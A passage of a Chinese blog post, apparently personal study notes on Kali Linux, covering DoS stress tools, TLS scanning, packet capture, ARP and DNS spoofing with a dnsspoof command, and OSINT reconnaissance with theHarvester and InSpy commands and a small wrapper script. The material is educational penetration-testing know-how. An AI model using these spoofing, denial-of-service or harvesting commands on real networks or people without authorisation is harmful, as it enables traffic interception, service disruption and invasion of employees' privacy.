150000\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面表示,指定inviteflood作为发送信息的接口。接下来是用户名和相关域名,也可能是IP地址。\u003c/p\u003e\u003cp\u003e对于IPV6,Kali也提供了相应的测试工具:\u003cstrong\u003ena6,ns6,ra6,rs6,tcp6\u003c/strong\u003e等。\u003c/p\u003e\u003cp\u003e压力测试时,尽可能多地保留说明信息。\u003c/p\u003e\u003ch4 id=\"0x0212-拒绝服务工具\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x0212-%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"0x0212.拒绝服务工具\"\u003e\u003c/a\u003e0x0212.拒绝服务工具\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003eslowhttptest\u003c/strong\u003e Kali提供了其以模拟Slowris攻击。除此以外,它还可以发动R-U-Dead-Yet攻击、Apache Killer攻击等。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003ethc-ssl-dos\u003c/strong\u003e 提供了基于SSL的压力测试。其基本想法是加密计算成本高昂,尤其在服务端更是如此。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eDHCPig\u003c/strong\u003e 可以发动DHCP攻击:在客户之前取得到期租约,以此耗尽DHCP服务器中可用的资源,让客户在无法获得IP的状态下处于离线状态。运行\u003ccode\u003epig.py\u003c/code\u003e选择目标即可。\u003c/p\u003e\u003ch3 id=\"0x023-加密测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x023-%E5%8A%A0%E5%AF%86%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x023.加密测试\"\u003e\u003c/a\u003e0x023.加密测试\u003c/h3\u003e\u003cp\u003e加密领域面对的挑战是:双方在不能面对面交流的时候,如何交换密钥来加密传递信息?这很困难。目前广泛使用的协议是TLS协议,即便如此,它也经过了数个版本的更迭。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003esslscan\u003c/strong\u003e 用于检查服务器是否使用过时协议。用法很简单:\u003ccode\u003esslscan [ip]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e输出结果将确定服务器是否会收到Heartbleed漏洞的攻击,该漏洞会针对服务器/客户端加密,导致密钥暴露给用户。同时,sslscan会为我们提供支持的密码列表。第一列表示协议和密码套件是否被接受以及他们是否为首选项。你会注意到TLS的每个版本都有自己的首选密码套件。第二列是协议和版本;接下来的列表示密钥强度。随后的列是密码套件,这称呼是因为它考虑了具有不同用途的多种算法。例如:\u003ccode\u003eDHE-RSA-AES256-SHA256\u003c/code\u003e,这表示它使用Diffie-Hellman方法进行临时的密钥交换。随后的RSA是一种非对称加密算法,用于验证通信的双方,因为密钥还存放在包含服务器验证信息的证书中。如果客户端也有该证书,则可以相互进行身份认证。否则,客户端可以根据要访问的主机名和证书中列出的主机名对服务器进行身份验证。非对称加密还用于加密客户端和服务器之间发送的密钥。\u003c/p\u003e\u003cp\u003eAES是加密会话的算法。这意味着用于会话的密钥是256位的。它是初始会话被派生和共享的密钥。如果会话持续的时间足够长,则可以重新创建会话密钥以防止密钥派生攻击。密钥被会话双方用于加密和解密。\u003c/p\u003e\u003cp\u003eSHA256算法用于验证数据是否被更改,和MD5类似。\u003c/p\u003e\u003cp\u003e所有这些算法构成TLS协议和之前的SSL协议。\u003c/p\u003e\u003cp\u003e如果输出中有类似3DES的内容,那么将会获得一个服务器会话密钥容易受到攻击的示例。这可能导致密钥泄露,继而相关的文件被解密成纯文本,造成信息泄露。\u003c/p\u003e\u003cp\u003e极个别情况下,我们可能在AES256的位置看到NULL值,这意味着请求没有使用加密协议。其原因较为复杂,可能是用户不太关心传输内容。\u003c/p\u003e\u003ch3 id=\"0x024-捕获数据包\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x024-%E6%8D%95%E8%8E%B7%E6%95%B0%E6%8D%AE%E5%8C%85\" class=\"headerlink\" title=\"0x024.捕获数据包\"\u003e\u003c/a\u003e0x024.捕获数据包\u003c/h3\u003e\u003cp\u003e事实上,我们所做的是捕获数据帧。因为我们捕获的层是OSI网络模型的第二层,第三层的数据则被称为数据包,第四层根据协议称为数据报文或段。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003etcpdump\u003c/strong\u003e 是Linux上的数据包捕获重程序。直接运行tcpdump会产生DNS请求和响应,它默认会将源地址和目标地址的IP转换为主机名,加上\u003ccode\u003e-n\u003c/code\u003e参数可以禁用该转换。\u003c/p\u003e\u003cp\u003e这程序还支持\u003ccode\u003e-v\u003c/code\u003e选项以显示更为详细的输出。同时,它支持多个\u003ccode\u003e-v\u003c/code\u003e选项,最详细的级别是\u003ccode\u003e-vvv\u003c/code\u003e。同时,使用\u003ccode\u003e-w [文件名]\u003c/code\u003e选项可以将数据帧捕获到数据包捕获(pcap)文件中,然后就可以将其导入其他工具进行分析。\u003c/p\u003e\u003cp\u003etcpdump的另一个重要特性就是伯克利数据包过滤器(BPF),这组字段允许用户对正在捕获的数据包做限定。用法是,在tcpdump指令后附加一系列参数,并用\u003ccode\u003eand\u003c/code\u003e或\u003ccode\u003eor\u003c/code\u003e等布尔逻辑词连接他们。支持的参数有:\u003ccode\u003eport [端口号]\u003c/code\u003e,\u003ccode\u003etcp/udp/icmp\u003c/code\u003e,\u003ccode\u003esrc host/dst host [主机名/IP]\u003c/code\u003e等一系列,详见\u003ccode\u003eman tcpdump\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e捕获完成后,需要对数据帧进行分析。你会发现这很麻烦,因为帧太多了。所以借助其他工具是十分必要的。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eWireshark\u003c/strong\u003e 是最好的分析工具之一。它也可以捕获自身的数据包并存储并生成\u003ccode\u003epcap\u003c/code\u003e文件。它提供了一种深入挖掘数据包内容的方法,因此学习用它捕获数据包不是重点,用它分析数据包才是。\u003c/p\u003e\u003cp\u003e使用Follow TCP Stream,我们可以查找我们感兴趣的数据帧。它会为我们做大量的分析工作,比如将客户端数据标红,服务端数据标蓝,将校验和不匹配的数据包标黑等等。\u003c/p\u003e\u003cp\u003e同时,Wireshark还提供了统计菜单,其中包含协议层次结构的统计图。它有助于识别未知的协议,并确定使用频次最高的协议,以及定位攻击来源等。\u003c/p\u003e\u003cp\u003e这款软件在Kali上是开箱即用的,不过也可以安装到其他系统上。作为一个实用工具,它有很大的价值,值得我们仔细学习。\u003c/p\u003e\u003ch3 id=\"0x025-病毒攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x025-%E7%97%85%E6%AF%92%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"0x025.病毒攻击\"\u003e\u003c/a\u003e0x025.病毒攻击\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e其实和病毒没啥关系?\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e现如今,很多网络都是交换式的。你的设备只会把消息发送到收件人所在的网络端口。在过去,交换机是单拨设备,但是集线器是广播设备,我们会用集线器。进入集线器中的消息都会被发送到集线器中的其他端口,让端点根据MAC地址确定数据帧属于谁。集线器只是一个转发器。\u003c/p\u003e\u003cp\u003e交换机则会读取第二层的首部信息来确定MAC地址。他知道拥有该MAC地址系统所在的端口,它是通过监控每个端口的流量实现上述功能的。源主机的MAC地址会附加到端口上,交换机通常将映射存储到CAM(内容寻址存储器)中。交换机并不是必须扫描整个列表,而是直接引用MAC地址来查找详细信息。该内容成为交换机引用的地址以获取端口信息。\u003c/p\u003e\u003cp\u003e这意味着,你可以配置你所在网络的交换机,把流量从一个或多个端口发送到另一个端口。这是一面镜子,而不是重定向。收件人获取流量,而你也将获得数据包,从而可以从无权访问的系统中收集信息。这就是\u003cstrong\u003e欺骗攻击\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"ARP欺骗\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#ARP%E6%AC%BA%E9%AA%97\" class=\"headerlink\" title=\"ARP欺骗\"\u003e\u003c/a\u003eARP欺骗\u003c/h4\u003e\u003cp\u003eARP(地址解析协议)是一种简单的协议。假定你的系统需要在网络上通信,但它只有IP地址,它会向网络发送(宿主)请求。具有这IP地址的系统将会通过天填写MAC来响应。然后你的系统会得知正确的MAC地址,并将其保存的消息发送到正确的目的地。\u003c/p\u003e\u003cp\u003e你的系统会缓存它所看到的所有映射以提高效率。ARP假设系统表明它拥有IP地址的唯一时间是在有人询问时,然而事实并非如此。如果我让系统发送ARP响应说我拥有你的IP地址,并且任何尝试访问该IP地址的人都应该发送到我的MAC地址,我就会收到本该发送给你的消息。通过发送一个ARP响应,声明你的IP地址在我的MAC地址上,就会把我置于通信双方的中间位置。不过这是单向的,如果我的MAC地址欺骗了你的IP地址,我只会收到应该给你的消息。\u003c/p\u003e\u003cp\u003e为了得到会话另一端的信息,我需要欺骗其他地址。比如你可以欺骗本地网关,以便捕获你与互联网之间的所有通信。需要注意的是消息只会发送给我,我还必须将消息转发给预期目标,否则通信就会停止,因为人们没有收到他们预计会收到的信息。这要求我们的系统将初始消息转发给被攻击目标。\u003c/p\u003e\u003cp\u003e因为ARP缓存会超时,如果我们没有继续让系统转发这些消息,最终缓存会超时,以至于我们无法获得我们想要的信息。这意味着需要继续发送这些消息,即未要求的ARP消息。它是一个尚未被请求单仍然提供的消息。这行为有合理的理由,但是\u003cstrong\u003e并不常见\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e我们将会使用\u003cstrong\u003eEttercap\u003c/strong\u003e,它支持基于CLI的GUI,或者WIndows风格的GUI。除了ARP攻击,它还支持其他类型的第二层攻击,比如DHCP中毒和ICMP重定向攻击。它们都是让你从本地网络的其他系统中获取数据流量的方法。\u003c/p\u003e\u003ch4 id=\"DNS欺骗\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#DNS%E6%AC%BA%E9%AA%97\" class=\"headerlink\" title=\"DNS欺骗\"\u003e\u003c/a\u003eDNS欺骗\u003c/h4\u003e\u003cp\u003e捕获本地网络(LAN)之外流量的一种方法是使用DNS欺骗攻击。在此攻击中,你会干扰DNS查找,以确保目标主机解析域名为IP地址时,目标将获取你提供的IP地址。这种攻击也称缓存中毒攻击。我们通常会利用目标附近的DNS服务器,这通常是一个缓存服务器。\u003c/p\u003e\u003cp\u003e一旦你能访问缓存服务器,就可以对缓存进行适当的修改,将目标转向你控制的系统。你还可以通过编辑缓存向其中添加不存在的条目。但这要求你破坏远程DNS服务器。\u003c/p\u003e\u003cp\u003e在LAN中,借助\u003cstrong\u003ednsspoof\u003c/strong\u003e程序,可以在本地模拟这一攻击。攻击者如果可以看到DNS请求,就可以捕获标识符并将其添加到攻击者提供的IP地址响应中。但是,要在交换式网络中做到这一点则需要额外步骤。\u003c/p\u003e\u003cp\u003e准备工作:你需要一个将IP地址映射到主机名的主机(hosts)文件。获得主机文件之后,就可以运行dnsspoof:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ednsspoof -i eth0 -f myhosts udp dst port 53\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003e-f\u003c/code\u003e选项引用了BPF来过滤捕获的数据包。同样,也可以借助Ettercap/arpspoof来完成这一点。\u003c/p\u003e\u003ch2 id=\"0x03-侦察\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x03-%E4%BE%A6%E5%AF%9F\" class=\"headerlink\" title=\"0x03.侦察\"\u003e\u003c/a\u003e0x03.侦察\u003c/h2\u003e\u003cp\u003e攻击之前,首先得确定攻击范围。就好比使用渗透工具时,得提供一组指定的参数。我们需要确定目标是什么,包括系统和人。为此,我们需要执行侦察任务。借助Kali的工具,我们可以大量收集关于公司及其员工的信息。\u003c/p\u003e\u003ch3 id=\"0x031-什么是侦察\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x031-%E4%BB%80%E4%B9%88%E6%98%AF%E4%BE%A6%E5%AF%9F\" class=\"headerlink\" title=\"0x031.什么是侦察\"\u003e\u003c/a\u003e0x031.什么是侦察\u003c/h3\u003e\u003cp\u003e它指一项\u003cstrong\u003e收集信息的初步调查\u003c/strong\u003e的活动。其定义一直以来都与军事活动有关系。收集信息时,最好\u003cstrong\u003e不要产生太多“噪声”\u003c/strong\u003e。我们需要在和目标保持一定距离的情况下收集信息。这需要灵活应对。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e关于OPeration SECurity(运营安全),二战期间有一个类似的说法:“口风不严会导致沉船”。也就是说,与任务相关的信息都必须保密,任何信息泄露都有可能危及运营。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e互联网的一个特点就是,你与其打交道的时间越长,留在它上面的信息就越多。这对于企业和个人都是如此。由于这些信息的重要性,已经产生了很多类似工具,使得我们可以更容易地获取它们。这不仅包含CLI工具,还包括网站,浏览器插件和其他程序。我们会关注一些Kali中可用的工具,以及一些可以添加到Firefox中的扩展。\u003c/p\u003e\u003ch3 id=\"0x032-开源智能工具\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x032-%E5%BC%80%E6%BA%90%E6%99%BA%E8%83%BD%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"0x032.开源智能工具\"\u003e\u003c/a\u003e0x032.开源智能工具\u003c/h3\u003e\u003cp\u003e如今,基本上所有人在互联网上都留有痕迹,即使不注册社交软件也是如此。首先是任何有手机号的人都可以通过互联网被找到。\u003c/p\u003e\u003cp\u003e开源智能指的是,你\u003cstrong\u003e从公共服务中找到的任何内容\u003c/strong\u003e。比如无论是否可能被视为公开的政府记录,被视为公开信息来源的邮件列表档案。开源一词,不仅仅适用于软件,也同样适用于其他信息。\u003c/p\u003e\u003cp\u003e搜索引擎为我们提供了大量信息,学习使用它的技巧有助于我们过滤无关信息以节省大量时间。\u003c/p\u003e\u003cp\u003e对于员工信息,\u003cstrong\u003eLinkedIn\u003c/strong\u003e网站可以识别公司及员工的大数据挖掘资源库。\u003cstrong\u003e求职网站\u003c/strong\u003e也可以提供相关公司的大量信息。通过公司的招聘岗位,可以分析公司的基础架构类型。Twitter/Facebook/微博等社交网站也可以提供某个公司及其员工的一些信息。\u003c/p\u003e\u003cp\u003eKali提供了检索这类信息的工具。程序可以自动从搜索引擎和其他Web网站提取大量信息。类似theHarvester这样的工具可以节省大量时间并且简单易用。Maltego这样的工具可以自动提取大量信息,并直观展示信息间的联系。\u003c/p\u003e\u003ch4 id=\"Google与黑客攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Google%E4%B8%8E%E9%BB%91%E5%AE%A2%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"Google与黑客攻击\"\u003e\u003c/a\u003eGoogle与黑客攻击\u003c/h4\u003e\u003cp\u003eGoogle搜索引擎提供了一组用户可以修改搜索请求的关键字,从而可以查看更紧凑的查询结果。这种搜索有时被称作Google Dorks,使用关键字识别特定页面的整个过程被称为Google Hacking。有下列关键词可用:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003esite:keyword\u003c/code\u003e 匹配特定网站/域名,主机名可以省略。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efiletype:keyword\u003c/code\u003e 匹配文件类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003einurl:\u003c/code\u003e和\u003ccode\u003eintext:\u003c/code\u003e 第一个只搜素关键字相关的网址,第二个只显示包含搜索词的文本。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecache:\u003c/code\u003e 从Google的缓存中提取网页。它可以获取已经关闭的网站的数据。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e同时,可以使用\u003ccode\u003eAND\u003c/code\u003e和\u003ccode\u003eOR\u003c/code\u003e等布尔运算符来进一步组合限定搜索结果,还可以使用引号确保以正确的顺序获得单词模式。\u003c/p\u003e\u003ch4 id=\"自动化信息抓取\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BF%A1%E6%81%AF%E6%8A%93%E5%8F%96\" class=\"headerlink\" title=\"自动化信息抓取\"\u003e\u003c/a\u003e自动化信息抓取\u003c/h4\u003e\u003cp\u003e搜索十分耗时,Kali提供了一些工具来提高效率。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003etheHarvester\u003c/code\u003e 它能够从多个数据源搜索信息,包括Google,Bing,LinkedIn,Twitter,PGP等。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etheharvester -d oreilly.com -b pgp \u003cspan class=\"comment\"\u003e# 搜索用域名oreilly.com注册的PGP密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etheharvester -d gmail.com -l 1000 -b linkedin \u003cspan class=\"comment\"\u003e# 搜索使用过Gmail的任何人\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果要多次搜索,可以编写个小脚本来减轻工作量。下面的脚本通过命令行中的几个域名对多个数据源进行搜索。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e sys\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(sys.argv) \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sys.exit(-\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eproviders = [\u003cspan class=\"string\"\u003e\u0026#39;google\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;bing\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;linkedin\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;pgp\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;google-profiles\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e a \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e providers:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#39;theharvester -d {0} -b {1} -f {2}.html\u0026#39;\u003c/span\u003e.\u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e(sys.argv[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], a, a)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的脚本对多个数据源进行搜索并将结果保存到相应的HTML文档中。\u003c/p\u003e\u003cp\u003eLinkedIn的数据(在国外)十分有用,因此我们使用\u003cstrong\u003eInSpy\u003c/strong\u003e对其进行检索:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einspy --empspy /usr/share/inspy/wordlists/title-list-large.txt oreilly\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eInSpy提供的单词列表只是由文本文件构成的。我们使用的是其中的头衔列表(title-list-large.txt)。你可以根据需要向其中添加关键字。\u003c/p\u003e\u003cp\u003e借助InSpy也能获取公司的技术列表:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einspy --techspy /usr/share/inspy/wordlists/tech-list-large.txt oreilly\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,InSpy需要安装到Kali中才能使用。\u003c/p\u003e\u003ch4 id=\"Recon-NG\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Recon-NG\" class=\"headerlink\" title=\"Recon-NG\"\u003e\u003c/a\u003eRecon-NG\u003c/h4\u003e\u003cp\u003e在设置完apikey之后,我们就可以用它的各个模块来搜索信息。使用\u003ccode\u003eshow\u003c/code\u003e列出查询结果,\u003ccode\u003ereporting\u003c/code\u003e模块可以获取/导出数据库内容。\u003c/p\u003e\u003ch4 id=\"Maltego\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Maltego\" class=\"headerlink\" title=\"Maltego\"\u003e\u003c/a\u003eMaltego\u003c/h4\u003e\u003cp\u003e这是一个GUI程序。其中有一些模块可供使用,通过\u003ccode\u003emachine\u003c/code\u003e,我们可以自动化使用模块完成搜索。\u003c/p\u003e\u003ch3 id=\"0x033-DNS侦察和Whois\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x033-DNS%E4%BE%A6%E5%AF%9F%E5%92%8CWhois\" class=\"headerlink\" title=\"0x033.DNS侦察和Whois\"\u003e\u003c/a\u003e0x033.DNS侦察和Whois\u003c/h3\u003e\u003cp\u003eDNS维护着一张域名-IP映射表,这使得我们不必维护一个庞大的主机表。DNS和RIRs(区域互联网管理机构)有关。\u003c/p\u003e\u003ch4 id=\"DNS侦察\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#DNS%E4%BE%A6%E5%AF%9F\" class=\"headerlink\" title=\"DNS侦察\"\u003e\u003c/a\u003eDNS侦察\u003c/h4\u003e\u003ch4 id=\"区域互联网注册服务商\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%8C%BA%E5%9F%9F%E4%BA%92%E8%81%94%E7%BD%91%E6%B3%A8%E5%86%8C%E6%9C%8D%E5%8A%A1%E5%95%86\" class=\"headerlink\" title=\"区域互联网注册服务商\"\u003e\u003c/a\u003e区域互联网注册服务商\u003c/h4\u003e\u003c!-- ### 0x034.被动侦察### 0x035.端口扫描#### TCP扫描#### UDP扫描#### Nmap端口扫描#### 高速扫描### 0x036.服务扫描#### 手工交互## 0x04.寻找漏洞### 0x041.漏洞### 0x042.漏洞类型#### 缓冲区溢出#### 竞争条件#### 